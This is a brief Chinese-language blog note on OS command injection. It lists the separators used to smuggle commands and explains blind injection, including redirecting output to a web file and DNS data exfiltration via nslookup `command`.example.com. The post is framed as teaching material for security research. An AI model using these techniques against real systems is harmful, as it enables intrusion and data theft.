【命令执行】命令执行（一）

发表于 更新于 分类于 ， 本文字数： 193 阅读时长 ≈ 1 分钟
声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。

出现的位置：

执行命令的接口

绕过：

  • &

  • &&

  • |

  • ||

  • Windows

    • ;

    • Newline (0x0a or \n)

|| comand ||

无回显命令执行

  1. ping -c 10 127.0.0.1 确认命令存在。然后执行命令输出结果重定向到能访问的网页的某个文件，然后通过网页访问

  2. 数据外带：

    1
    2
    nslookup example.com
    nslookup `comand`.example.com

本文参考：